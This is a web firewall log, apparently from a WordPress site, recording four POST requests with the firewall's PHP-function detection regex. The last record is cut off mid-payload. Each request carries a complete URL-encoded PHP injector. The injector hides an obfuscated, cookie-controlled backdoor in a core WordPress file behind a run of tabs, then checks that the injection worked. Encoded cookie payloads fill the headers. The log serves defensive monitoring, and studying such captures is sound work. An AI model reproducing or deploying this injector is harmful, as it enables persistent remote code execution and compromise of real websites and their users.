["2026-05-12 19:44:37","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:3248\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\ndc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:44:42","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\ncontent-length:3248\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nxG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:44:46","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\ncontent-length:3248\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nJw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:44:57","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\ncontent-length:3271\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5